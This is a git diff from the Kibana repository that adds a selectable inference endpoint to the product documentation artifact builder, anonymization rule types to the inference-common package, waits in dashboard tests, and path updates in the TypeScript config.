} @@ -477,6 +480,8 @@ export class DashboardPageObject extends FtrService { public async renameDashboard(dashboardName: string) { this.log.debug(`Naming dashboard ` + dashboardName); await this.testSubjects.click('dashboardRenameButton'); + // Wait for the title input to be enabled before setting the value to avoid flakiness + await this.testSubjects.waitForEnabled('savedObjectTitle'); await this.testSubjects.setValue('savedObjectTitle', dashboardName); } @@ -592,6 +597,8 @@ export class DashboardPageObject extends FtrService { const modalDialog = await this.testSubjects.find('savedObjectSaveModal'); this.log.debug('entering new title'); + // Wait for the title input to be enabled before setting the value to avoid flakiness + await this.testSubjects.waitForEnabled('savedObjectTitle'); await this.testSubjects.setValue('savedObjectTitle', dashboardTitle); if (saveOptions.storeTimeWithDashboard !== undefined) { @@ -628,6 +635,8 @@ export class DashboardPageObject extends FtrService { const modalDialog = await this.testSubjects.find('savedObjectSaveModal'); this.log.debug('entering new title'); + // Wait for the title input to be enabled before setting the value to avoid flakiness + await this.testSubjects.waitForEnabled('savedObjectTitle'); await this.testSubjects.setValue('savedObjectTitle', dashboardTitle); await this.common.pressEnterKey(); diff --git a/src/platform/test/plugin_functional/test_suites/core_plugins/rendering.ts b/src/platform/test/plugin_functional/test_suites/core_plugins/rendering.ts index 746b7f7e8c110..272a87501f8cb 100644 --- a/src/platform/test/plugin_functional/test_suites/core_plugins/rendering.ts +++ b/src/platform/test/plugin_functional/test_suites/core_plugins/rendering.ts @@ -380,7 +380,7 @@ export default function ({ getService }: PluginFunctionalProviderContext) { 'xpack.observabilityAiAssistantManagement.spacesEnabled (boolean?)', 'xpack.observabilityAiAssistantManagement.visibilityEnabled (boolean?)', 'share.new_version.enabled (boolean?)', - 'aiAssistantManagementSelection.preferredAIAssistantType (default?|never?|observability?)', + 'aiAssistantManagementSelection.preferredAIAssistantType (default?|never?|observability?|security?)', /** * Rule form V2 feature flags */ diff --git a/tsconfig.base.json b/tsconfig.base.json index 9c9a85b19900d..a9106c1f6a08b 100644 --- a/tsconfig.base.json +++ b/tsconfig.base.json @@ -112,8 +112,8 @@ "@kbn/apm-utils/*": ["src/platform/packages/shared/kbn-apm-utils/*"], "@kbn/app-link-test-plugin": ["src/platform/test/plugin_functional/plugins/app_link_test"], "@kbn/app-link-test-plugin/*": ["src/platform/test/plugin_functional/plugins/app_link_test/*"], - "@kbn/application-usage-test-plugin": ["x-pack/test/usage_collection/plugins/application_usage_test"], - "@kbn/application-usage-test-plugin/*": ["x-pack/test/usage_collection/plugins/application_usage_test/*"], + "@kbn/application-usage-test-plugin": ["x-pack/platform/test/usage_collection/plugins/application_usage_test"], + "@kbn/application-usage-test-plugin/*": ["x-pack/platform/test/usage_collection/plugins/application_usage_test/*"], "@kbn/audit-log-plugin": ["x-pack/test/security_api_integration/plugins/audit_log"], "@kbn/audit-log-plugin/*": ["x-pack/test/security_api_integration/plugins/audit_log/*"], "@kbn/automatic-import-plugin": ["x-pack/platform/plugins/shared/automatic_import"], @@ -986,8 +986,8 @@ "@kbn/features-plugin/*": ["x-pack/platform/plugins/shared/features/*"], "@kbn/features-provider-plugin": ["x-pack/test/security_api_integration/plugins/features_provider"], "@kbn/features-provider-plugin/*": ["x-pack/test/security_api_integration/plugins/features_provider/*"], - "@kbn/fec-alerts-test-plugin": ["x-pack/test/functional_execution_context/plugins/alerts"], - "@kbn/fec-alerts-test-plugin/*": ["x-pack/test/functional_execution_context/plugins/alerts/*"], + "@kbn/fec-alerts-test-plugin": ["x-pack/platform/test/functional_execution_context/plugins/alerts"], + "@kbn/fec-alerts-test-plugin/*": ["x-pack/platform/test/functional_execution_context/plugins/alerts/*"], "@kbn/field-formats-example-plugin": ["examples/field_formats_example"], "@kbn/field-formats-example-plugin/*": ["examples/field_formats_example/*"], "@kbn/field-formats-plugin": ["src/platform/plugins/shared/field_formats"], @@ -1016,8 +1016,8 @@ "@kbn/fleet-plugin/*": ["x-pack/platform/plugins/shared/fleet/*"], "@kbn/flot-charts": ["src/platform/packages/shared/kbn-flot-charts"], "@kbn/flot-charts/*": ["src/platform/packages/shared/kbn-flot-charts/*"], - "@kbn/foo-plugin": ["x-pack/test/ui_capabilities/common/plugins/foo_plugin"], - "@kbn/foo-plugin/*": ["x-pack/test/ui_capabilities/common/plugins/foo_plugin/*"], + "@kbn/foo-plugin": ["x-pack/platform/test/ui_capabilities/common/plugins/foo_plugin"], + "@kbn/foo-plugin/*": ["x-pack/platform/test/ui_capabilities/common/plugins/foo_plugin/*"], "@kbn/ftr-apis-plugin": ["src/platform/plugins/private/ftr_apis"], "@kbn/ftr-apis-plugin/*": ["src/platform/plugins/private/ftr_apis/*"], "@kbn/ftr-common-functional-services": ["src/platform/packages/shared/kbn-ftr-common-functional-services"], @@ -1088,8 +1088,8 @@ "@kbn/i18n/*": ["src/platform/packages/shared/kbn-i18n/*"], "@kbn/i18n-react": ["src/platform/packages/shared/kbn-i18n-react"], "@kbn/i18n-react/*": ["src/platform/packages/shared/kbn-i18n-react/*"], - "@kbn/iframe-embedded-plugin": ["x-pack/test/functional_embedded/plugins/iframe_embedded"], - "@kbn/iframe-embedded-plugin/*": ["x-pack/test/functional_embedded/plugins/iframe_embedded/*"], + "@kbn/iframe-embedded-plugin": ["x-pack/platform/test/functional_embedded/plugins/iframe_embedded"], + "@kbn/iframe-embedded-plugin/*": ["x-pack/platform/test/functional_embedded/plugins/iframe_embedded/*"], "@kbn/image-embeddable-plugin": ["src/platform/plugins/private/image_embeddable"], "@kbn/image-embeddable-plugin/*": ["src/platform/plugins/private/image_embeddable/*"], "@kbn/import-locator": ["packages/kbn-import-locator"], @@ -1122,6 +1122,8 @@ "@kbn/inference-plugin/*": ["x-pack/platform/plugins/shared/inference/*"], "@kbn/inference-tracing": ["x-pack/platform/packages/shared/kbn-inference-tracing"], "@kbn/inference-tracing/*": ["x-pack/platform/packages/shared/kbn-inference-tracing/*"], + "@kbn/inference-tracing-config": ["x-pack/platform/packages/shared/kbn-inference-tracing-config"], + "@kbn/inference-tracing-config/*": ["x-pack/platform/packages/shared/kbn-inference-tracing-config/*"], "@kbn/infra-forge": ["x-pack/platform/packages/private/kbn-infra-forge"], "@kbn/infra-forge/*": ["x-pack/platform/packages/private/kbn-infra-forge/*"], "@kbn/infra-plugin": ["x-pack/solutions/observability/plugins/infra"], @@ -1170,8 +1172,8 @@ "@kbn/key-value-metadata-table/*": ["x-pack/platform/packages/shared/kbn-key-value-metadata-table/*"], "@kbn/kibana-api-cli": ["x-pack/platform/packages/shared/kbn-kibana-api-cli"], "@kbn/kibana-api-cli/*": ["x-pack/platform/packages/shared/kbn-kibana-api-cli/*"], - "@kbn/kibana-cors-test-plugin": ["x-pack/test/functional_cors/plugins/kibana_cors_test"], - "@kbn/kibana-cors-test-plugin/*": ["x-pack/test/functional_cors/plugins/kibana_cors_test/*"], + "@kbn/kibana-cors-test-plugin": ["x-pack/platform/test/functional_cors/plugins/kibana_cors_test"], + "@kbn/kibana-cors-test-plugin/*": ["x-pack/platform/test/functional_cors/plugins/kibana_cors_test/*"], "@kbn/kibana-manifest-schema": ["packages/kbn-kibana-manifest-schema"], "@kbn/kibana-manifest-schema/*": ["packages/kbn-kibana-manifest-schema/*"], "@kbn/kibana-overview-plugin": ["src/platform/plugins/private/kibana_overview"], @@ -1426,6 +1428,10 @@ "@kbn/openapi-common/*": ["src/platform/packages/shared/kbn-openapi-common/*"], "@kbn/openapi-generator": ["src/platform/packages/shared/kbn-openapi-generator"], "@kbn/openapi-generator/*": ["src/platform/packages/shared/kbn-openapi-generator/*"], + "@kbn/opentelemetry-attributes": ["src/platform/packages/shared/kbn-opentelemetry-attributes"], + "@kbn/opentelemetry-attributes/*": ["src/platform/packages/shared/kbn-opentelemetry-attributes/*"], + "@kbn/opentelemetry-utils": ["src/platform/packages/shared/kbn-opentelemetry-utils"], + "@kbn/opentelemetry-utils/*": ["src/platform/packages/shared/kbn-opentelemetry-utils/*"], "@kbn/optimizer": ["packages/kbn-optimizer"], "@kbn/optimizer/*": ["packages/kbn-optimizer/*"], "@kbn/optimizer-webpack-helpers": ["src/platform/packages/private/kbn-optimizer-webpack-helpers"], @@ -1944,8 +1950,8 @@ "@kbn/sort-predicates/*": ["src/platform/packages/shared/kbn-sort-predicates/*"], "@kbn/spaces-plugin": ["x-pack/platform/plugins/shared/spaces"], "@kbn/spaces-plugin/*": ["x-pack/platform/plugins/shared/spaces/*"], - "@kbn/spaces-test-plugin": ["x-pack/test/spaces_api_integration/common/plugins/spaces_test_plugin"], - "@kbn/spaces-test-plugin/*": ["x-pack/test/spaces_api_integration/common/plugins/spaces_test_plugin/*"], + "@kbn/spaces-test-plugin": ["x-pack/platform/test/spaces_api_integration/common/plugins/spaces_test_plugin"], + "@kbn/spaces-test-plugin/*": ["x-pack/platform/test/spaces_api_integration/common/plugins/spaces_test_plugin/*"], "@kbn/spaces-utils": ["src/platform/packages/shared/kbn-spaces-utils"], "@kbn/spaces-utils/*": ["src/platform/packages/shared/kbn-spaces-utils/*"], "@kbn/sse-example-plugin": ["examples/sse_example"], @@ -1960,8 +1966,8 @@ "@kbn/stack-alerts-plugin/*": ["x-pack/platform/plugins/shared/stack_alerts/*"], "@kbn/stack-connectors-plugin": ["x-pack/platform/plugins/shared/stack_connectors"], "@kbn/stack-connectors-plugin/*": ["x-pack/platform/plugins/shared/stack_connectors/*"], - "@kbn/stack-management-usage-test-plugin": ["x-pack/test/usage_collection/plugins/stack_management_usage_test"], - "@kbn/stack-management-usage-test-plugin/*": ["x-pack/test/usage_collection/plugins/stack_management_usage_test/*"], + "@kbn/stack-management-usage-test-plugin": ["x-pack/platform/test/usage_collection/plugins/stack_management_usage_test"], + "@kbn/stack-management-usage-test-plugin/*": ["x-pack/platform/test/usage_collection/plugins/stack_management_usage_test/*"], "@kbn/state-containers-examples-plugin": ["examples/state_containers_examples"], "@kbn/state-containers-examples-plugin/*": ["examples/state_containers_examples/*"], "@kbn/status-plugin-a-plugin": ["src/platform/test/server_integration/plugins/status_plugin_a"], @@ -1976,6 +1982,8 @@ "@kbn/storage-adapter/*": ["src/platform/packages/shared/kbn-storage-adapter/*"], "@kbn/storybook": ["src/platform/packages/shared/kbn-storybook"], "@kbn/storybook/*": ["src/platform/packages/shared/kbn-storybook/*"], + "@kbn/streamlang": ["x-pack/platform/packages/shared/kbn-streamlang"], + "@kbn/streamlang/*": ["x-pack/platform/packages/shared/kbn-streamlang/*"], "@kbn/streams-app-plugin": ["x-pack/platform/plugins/shared/streams_app"], "@kbn/streams-app-plugin/*": ["x-pack/platform/plugins/shared/streams_app/*"], "@kbn/streams-app-wrapper-plugin": ["x-pack/solutions/observability/plugins/observability_streams_wrapper"], @@ -2020,8 +2028,8 @@ "@kbn/test/*": ["src/platform/packages/shared/kbn-test/*"], "@kbn/test-eui-helpers": ["src/platform/packages/private/kbn-test-eui-helpers"], "@kbn/test-eui-helpers/*": ["src/platform/packages/private/kbn-test-eui-helpers/*"], - "@kbn/test-feature-usage-plugin": ["x-pack/test/licensing_plugin/plugins/test_feature_usage"], - "@kbn/test-feature-usage-plugin/*": ["x-pack/test/licensing_plugin/plugins/test_feature_usage/*"], + "@kbn/test-feature-usage-plugin": ["x-pack/platform/test/licensing_plugin/plugins/test_feature_usage"], + "@kbn/test-feature-usage-plugin/*": ["x-pack/platform/test/licensing_plugin/plugins/test_feature_usage/*"], "@kbn/test-jest-helpers": ["src/platform/packages/shared/kbn-test-jest-helpers"], "@kbn/test-jest-helpers/*": ["src/platform/packages/shared/kbn-test-jest-helpers/*"], "@kbn/test-subj-selector": ["src/platform/packages/shared/kbn-test-subj-selector"], @@ -2062,6 +2070,8 @@ "@kbn/traced-es-client/*": ["src/platform/packages/shared/kbn-traced-es-client/*"], "@kbn/tracing": ["src/platform/packages/shared/kbn-tracing"], "@kbn/tracing/*": ["src/platform/packages/shared/kbn-tracing/*"], + "@kbn/tracing-config": ["src/platform/packages/shared/kbn-tracing-config"], + "@kbn/tracing-config/*": ["src/platform/packages/shared/kbn-tracing-config/*"], "@kbn/transform-plugin": ["x-pack/platform/plugins/private/transform"], "@kbn/transform-plugin/*": ["x-pack/platform/plugins/private/transform/*"], "@kbn/translations-plugin": ["x-pack/platform/plugins/private/translations"], diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/README.md b/x-pack/packages/ai-infra/product-doc-artifact-builder/README.md index 49949def3e5e7..0a4d8de5a204e 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/README.md +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/README.md @@ -8,17 +8,23 @@ Script to build the knowledge base artifacts. node scripts/build_product_doc_artifacts.js --stack-version {version} --product-name {product} ``` +Example: + +``` +node scripts/build_product_doc_artifacts.js --product-name=security --stack-version=8.18 --inference-id=.multilingual-e5-small-elasticsearch +``` + ### parameters -#### `stack-version`: +#### `stack-version`: the stack version to generate the artifacts for. -#### `product-name`: +#### `product-name`: (multi-value) the list of products to generate artifacts for. -possible values: +possible values: - "kibana" - "elasticsearch" - "observability" @@ -34,6 +40,11 @@ Defaults to `{REPO_ROOT}/build-kb-artifacts`. The folder to use for temporary files. +#### inference-id: + +The inference endpoint to use to generate the embeddings. If the inference ID provided and is not the ELSER default, the artifacts will be generated with `{artifactName}--{inference-id}.zip`. Note the double dash before inference-id. + + Defaults to `{REPO_ROOT}/build/temp-kb-artifacts` #### Cluster infos @@ -46,4 +57,7 @@ Defaults to `{REPO_ROOT}/build/temp-kb-artifacts` - params for the embedding cluster: `embeddingClusterUrl` / env.KIBANA_EMBEDDING_CLUSTER_URL `embeddingClusterUsername` / env.KIBANA_EMBEDDING_CLUSTER_USERNAME -`embeddingClusterPassword` / env.KIBANA_EMBEDDING_CLUSTER_PASSWORD \ No newline at end of file +`embeddingClusterPassword` / env.KIBANA_EMBEDDING_CLUSTER_PASSWORD + +- params for the inference endpoint: +`inferenceId` diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/artifact/mappings.ts b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/artifact/mappings.ts index 979845ec31844..763288f49f52a 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/artifact/mappings.ts +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/artifact/mappings.ts @@ -6,30 +6,31 @@ */ import type { MappingTypeMapping } from '@elastic/elasticsearch/lib/api/types'; +import { + DEFAULT_ELSER, + getSemanticTextMapping, + type SemanticTextMapping, +} from '../tasks/create_index'; -export const getArtifactMappings = (inferenceEndpoint: string): MappingTypeMapping => { +export const getArtifactMappings = ( + customSemanticTextMapping?: SemanticTextMapping +): MappingTypeMapping => { + const semanticTextMapping = customSemanticTextMapping + ? customSemanticTextMapping + : getSemanticTextMapping(DEFAULT_ELSER); return { dynamic: 'strict', properties: { content_title: { type: 'text' }, - content_body: { - type: 'semantic_text', - inference_id: inferenceEndpoint, - }, + content_body: semanticTextMapping, product_name: { type: 'keyword' }, root_type: { type: 'keyword' }, slug: { type: 'keyword' }, url: { type: 'keyword' }, version: { type: 'version' }, ai_subtitle: { type: 'text' }, - ai_summary: { - type: 'semantic_text', - inference_id: inferenceEndpoint, - }, - ai_questions_answered: { - type: 'semantic_text', - inference_id: inferenceEndpoint, - }, + ai_summary: semanticTextMapping, + ai_questions_answered: semanticTextMapping, ai_tags: { type: 'keyword' }, }, }; diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/build_artifacts.ts b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/build_artifacts.ts index 805f35c4460ae..371c72bd02aef 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/build_artifacts.ts +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/build_artifacts.ts @@ -7,8 +7,14 @@ import Path from 'path'; import { Client, HttpConnection } from '@elastic/elasticsearch'; +import { + Client as ElasticsearchClient8, + HttpConnection as Elasticsearch8HttpConnection, +} from 'elasticsearch-8.x'; + import { ToolingLog } from '@kbn/tooling-log'; import type { ProductName } from '@kbn/product-doc-common'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { // checkConnectivity, createTargetIndex, @@ -21,9 +27,10 @@ import { processDocuments, } from './tasks'; import type { TaskConfig } from './types'; +import { getSemanticTextMapping } from './tasks/create_index'; const getSourceClient = (config: TaskConfig) => { - return new Client({ + return new ElasticsearchClient8({ compression: true, nodes: [config.sourceClusterUrl], sniffOnStart: false, @@ -31,7 +38,7 @@ const getSourceClient = (config: TaskConfig) => { username: config.sourceClusterUsername, password: config.sourceClusterPassword, }, - Connection: HttpConnection, + Connection: Elasticsearch8HttpConnection, requestTimeout: 30_000, }); }; @@ -79,6 +86,7 @@ export const buildArtifacts = async (config: TaskConfig) => { sourceClient, embeddingClient, log, + inferenceId: config.inferenceId ?? defaultInferenceEndpoints.ELSER, }); } @@ -93,18 +101,41 @@ const buildArtifact = async ({ embeddingClient, sourceClient, log, + inferenceId, }: { productName: ProductName; stackVersion: string; buildFolder: string; targetFolder: string; - sourceClient: Client; + sourceClient: ElasticsearchClient8; embeddingClient: Client; log: ToolingLog; + inferenceId: string; }) => { - log.info(`Starting building artifact for product [${productName}] and version [${stackVersion}]`); + log.info( + `Starting building artifact for product [${productName}] and version [${stackVersion}] with inference id [${inferenceId}]` + ); - const targetIndex = getTargetIndexName({ productName, stackVersion }); + const semanticTextMapping = getSemanticTextMapping(inferenceId); + + log.info( + `Detected semantic text mapping for Inference ID ${inferenceId}:\n ${JSON.stringify( + semanticTextMapping, + null, + 2 + )}` + ); + + const targetIndex = getTargetIndexName({ + productName, + stackVersion, + inferenceId: semanticTextMapping?.inference_id, + }); + await deleteIndex({ + indexName: targetIndex, + client: embeddingClient, + log, + }); let documents = await extractDocumentation({ client: sourceClient, @@ -119,6 +150,7 @@ const buildArtifact = async ({ await createTargetIndex({ client: embeddingClient, indexName: targetIndex, + semanticTextMapping, }); await indexDocuments({ @@ -142,12 +174,7 @@ const buildArtifact = async ({ productName, stackVersion, log, - }); - - await deleteIndex({ - indexName: targetIndex, - client: embeddingClient, - log, + semanticTextMapping, }); log.info(`Finished building artifact for product [${productName}] and version [${stackVersion}]`); @@ -156,9 +183,13 @@ const buildArtifact = async ({ const getTargetIndexName = ({ productName, stackVersion, + inferenceId, }: { productName: string; stackVersion: string; + inferenceId?: string; }) => { - return `kb-artifact-builder-${productName}-${stackVersion}`.toLowerCase(); + return `kb-artifact-builder-${productName}-${stackVersion}${ + inferenceId ? `-${inferenceId}` : '' + }`.toLowerCase(); }; diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/command.ts b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/command.ts index e8d0d9486e331..7e4ebda200f25 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/command.ts +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/command.ts @@ -71,6 +71,10 @@ function options(y: yargs.Argv) { demandOption: true, default: process.env.KIBANA_EMBEDDING_CLUSTER_PASSWORD, }) + .option('inferenceId', { + describe: 'The inference id to use for the artifacts', + string: true, + }) .locale('en'); } @@ -89,6 +93,7 @@ export function runScript() { embeddingClusterUrl: argv.embeddingClusterUrl!, embeddingClusterUsername: argv.embeddingClusterUsername!, embeddingClusterPassword: argv.embeddingClusterPassword!, + inferenceId: argv.inferenceId, }; return buildArtifacts(taskConfig); diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/create_artifact.ts b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/create_artifact.ts index bd6d005936574..b0468163ecce6 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/create_artifact.ts +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/create_artifact.ts @@ -15,7 +15,7 @@ import { } from '@kbn/product-doc-common'; import { getArtifactMappings } from '../artifact/mappings'; import { getArtifactManifest } from '../artifact/manifest'; -import { DEFAULT_ELSER } from './create_index'; +import { DEFAULT_ELSER, SemanticTextMapping } from './create_index'; export const createArtifact = async ({ productName, @@ -23,12 +23,14 @@ export const createArtifact = async ({ buildFolder, targetFolder, log, + semanticTextMapping, }: { buildFolder: string; targetFolder: string; productName: ProductName; stackVersion: string; log: ToolingLog; + semanticTextMapping?: SemanticTextMapping; }) => { log.info( `Starting to create artifact from build folder [${buildFolder}] into target [${targetFolder}]` @@ -36,7 +38,9 @@ export const createArtifact = async ({ const zip = new AdmZip(); - const mappings = getArtifactMappings(DEFAULT_ELSER); + const inferenceId = semanticTextMapping?.inference_id || DEFAULT_ELSER; + + const mappings = getArtifactMappings(semanticTextMapping); const mappingFileContent = JSON.stringify(mappings, undefined, 2); zip.addFile('mappings.json', Buffer.from(mappingFileContent, 'utf-8')); @@ -53,6 +57,7 @@ export const createArtifact = async ({ const artifactName = getArtifactName({ productName, productVersion: stackVersion, + inferenceId, }); zip.writeZip(Path.join(targetFolder, artifactName)); diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/create_index.ts b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/create_index.ts index b867edc31b85a..e1b501a341af9 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/create_index.ts +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/create_index.ts @@ -6,43 +6,66 @@ */ import type { Client } from '@elastic/elasticsearch'; -import type { MappingTypeMapping } from '@elastic/elasticsearch/lib/api/types'; +import { getArtifactMappings } from '../artifact/mappings'; export const DEFAULT_ELSER = '.elser-2-elasticsearch'; +export const DEFAULT_E5_SMALL = '.multilingual-e5-small-elasticsearch'; -const mappings: MappingTypeMapping = { - dynamic: 'strict', - properties: { - content_title: { type: 'text' }, - content_body: { - type: 'semantic_text', - inference_id: DEFAULT_ELSER, - }, - product_name: { type: 'keyword' }, - root_type: { type: 'keyword' }, - slug: { type: 'keyword' }, - url: { type: 'keyword' }, - version: { type: 'version' }, - ai_subtitle: { type: 'text' }, - ai_summary: { - type: 'semantic_text', - inference_id: DEFAULT_ELSER, - }, - ai_questions_answered: { - type: 'semantic_text', - inference_id: DEFAULT_ELSER, +interface BaseSemanticTextMapping { + type: 'semantic_text'; + inference_id: string; +} +export interface SemanticTextMapping extends BaseSemanticTextMapping { + model_settings?: { + service?: string; + task_type?: string; + dimensions?: number; + similarity?: string; + element_type?: string; + }; +} + +type SupportedInferenceId = typeof DEFAULT_E5_SMALL | typeof DEFAULT_ELSER; +const isSupportedInferenceId = (inferenceId: string): inferenceId is SupportedInferenceId => { + return inferenceId === DEFAULT_E5_SMALL || inferenceId === DEFAULT_ELSER; +}; + +const INFERENCE_ID_TO_SEMANTIC_TEXT_MAPPING: Record = { + [DEFAULT_E5_SMALL]: { + type: 'semantic_text', + inference_id: DEFAULT_E5_SMALL, + model_settings: { + service: 'elasticsearch', + task_type: 'text_embedding', + dimensions: 384, + similarity: 'cosine', + element_type: 'float', }, - ai_tags: { type: 'keyword' }, }, + [DEFAULT_ELSER]: { + type: 'semantic_text', + inference_id: DEFAULT_ELSER, + }, +}; +export const getSemanticTextMapping = (inferenceId: string): SemanticTextMapping => { + if (isSupportedInferenceId(inferenceId)) { + return INFERENCE_ID_TO_SEMANTIC_TEXT_MAPPING[inferenceId]; + } + throw new Error(`Semantic text mapping for Inference ID ${inferenceId} not found`); }; export const createTargetIndex = async ({ indexName, client, + semanticTextMapping, }: { indexName: string; client: Client; + semanticTextMapping?: SemanticTextMapping; }) => { + const mappings = semanticTextMapping + ? getArtifactMappings(semanticTextMapping) + : getArtifactMappings(getSemanticTextMapping(DEFAULT_ELSER)); await client.indices.create({ index: indexName, mappings, diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/extract_documentation.ts b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/extract_documentation.ts index 6aa8bb49b0cfd..4f5e519837811 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/extract_documentation.ts +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/tasks/extract_documentation.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Client } from '@elastic/elasticsearch'; +import { Client as ElasticsearchClient8 } from 'elasticsearch-8.x'; import type { SearchHit } from '@elastic/elasticsearch/lib/api/types'; import type { ToolingLog } from '@kbn/tooling-log'; import type { ProductName } from '@kbn/product-doc-common'; @@ -64,7 +64,7 @@ export const extractDocumentation = async ({ productName, log, }: { - client: Client; + client: ElasticsearchClient8; index: string; stackVersion: string; productName: ProductName; diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/types.ts b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/types.ts index 1eb4a4348d218..82bbebabf6fe1 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/src/types.ts +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/src/types.ts @@ -18,4 +18,5 @@ export interface TaskConfig { embeddingClusterUrl: string; embeddingClusterUsername: string; embeddingClusterPassword: string; + inferenceId?: string; } diff --git a/x-pack/packages/ai-infra/product-doc-artifact-builder/tsconfig.json b/x-pack/packages/ai-infra/product-doc-artifact-builder/tsconfig.json index 68ff27852c4d1..7e6082692c495 100644 --- a/x-pack/packages/ai-infra/product-doc-artifact-builder/tsconfig.json +++ b/x-pack/packages/ai-infra/product-doc-artifact-builder/tsconfig.json @@ -17,5 +17,6 @@ "@kbn/tooling-log", "@kbn/repo-info", "@kbn/product-doc-common", + "@kbn/inference-common", ] } diff --git a/x-pack/platform/packages/shared/ai-infra/inference-common/index.ts b/x-pack/platform/packages/shared/ai-infra/inference-common/index.ts index 8416fb850e274..9472d2d703e5e 100644 --- a/x-pack/platform/packages/shared/ai-infra/inference-common/index.ts +++ b/x-pack/platform/packages/shared/ai-infra/inference-common/index.ts @@ -60,6 +60,17 @@ export { isToolNotFoundError, type ChatCompleteMetadata, type ConnectorTelemetryMetadata, + type AnonymizationRule, + type RegexAnonymizationRule, + type NamedEntityRecognitionRule, + type AnonymizationEntity, + type Anonymization, + type Deanonymization, + type AnonymizationOutput, + type DeanonymizationOutput, + type DeanonymizedMessage, + type AnonymizationSettings, + type AnonymizationRegexWorkerTaskPayload, } from './src/chat_complete'; export type { BoundInferenceClient, InferenceClient } from './src/inference_client'; @@ -128,12 +139,6 @@ export { elasticModelIds, } from './src/inference_endpoints'; -export type { - InferenceTracingExportConfig, - InferenceTracingLangfuseExportConfig, - InferenceTracingPhoenixExportConfig, -} from './src/tracing'; - export { type Model, ModelFamily, ModelPlatform, ModelProvider } from './src/model_provider'; export { @@ -152,3 +157,5 @@ export { } from './src/prompt'; export { type BoundOptions, type UnboundOptions, bindApi } from './src/bind'; + +export { aiAssistantAnonymizationSettings } from './src/ui_settings/settings_keys'; diff --git a/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/anonymization/index.ts b/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/anonymization/index.ts new file mode 100644 index 0000000000000..bd5764ee29795 --- /dev/null +++ b/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/anonymization/index.ts @@ -0,0 +1,20 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +export type { + AnonymizationRule, + AnonymizationEntity, + Anonymization, + Deanonymization, + AnonymizationOutput, + DeanonymizationOutput, + DeanonymizedMessage, + RegexAnonymizationRule, + NamedEntityRecognitionRule, + AnonymizationSettings, + AnonymizationRegexWorkerTaskPayload, +} from './types'; diff --git a/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/anonymization/types.ts b/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/anonymization/types.ts new file mode 100644 index 0000000000000..a5992018526f0 --- /dev/null +++ b/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/anonymization/types.ts @@ -0,0 +1,69 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +import { Message } from '../messages'; + +interface AnonymizationRuleBase { + type: string; + enabled: boolean; +} + +export interface NamedEntityRecognitionRule extends AnonymizationRuleBase { + type: 'NER'; + modelId: string; + allowedEntityClasses?: Array<'PER' | 'ORG' | 'LOC' | 'MISC'>; +} +export interface RegexAnonymizationRule extends AnonymizationRuleBase { + type: 'RegExp'; + pattern: string; + entityClass: string; + mask?: RuleMaskType; +} + +export type AnonymizationRule = NamedEntityRecognitionRule | RegexAnonymizationRule; + +export interface AnonymizationSettings { + rules: AnonymizationRule[]; +} + +enum RuleMaskType { + hash = 'hash', +} + +export interface AnonymizationEntity { + class_name: string; + value: string; + mask: string; +} + +export interface Anonymization { + rule: { + type: string; + }; + entity: AnonymizationEntity; +} + +export interface Deanonymization { + start: number; + end: number; + entity: AnonymizationEntity; +} + +export interface AnonymizationOutput { + messages: Message[]; + anonymizations: Anonymization[]; + system?: string; +} + +export interface DeanonymizationOutput { + messages: DeanonymizedMessage[]; +} + +export type DeanonymizedMessage = Message & { deanonymizations: Deanonymization[] }; +export interface AnonymizationRegexWorkerTaskPayload { + rule: RegexAnonymizationRule; + records: Array>; +} diff --git a/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/events.ts b/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/events.ts index 2ae609333a17c..fe9d0bd8b1c25 100644 --- a/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/events.ts +++ b/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/events.ts @@ -6,6 +6,8 @@ */ import type { InferenceTaskEventBase 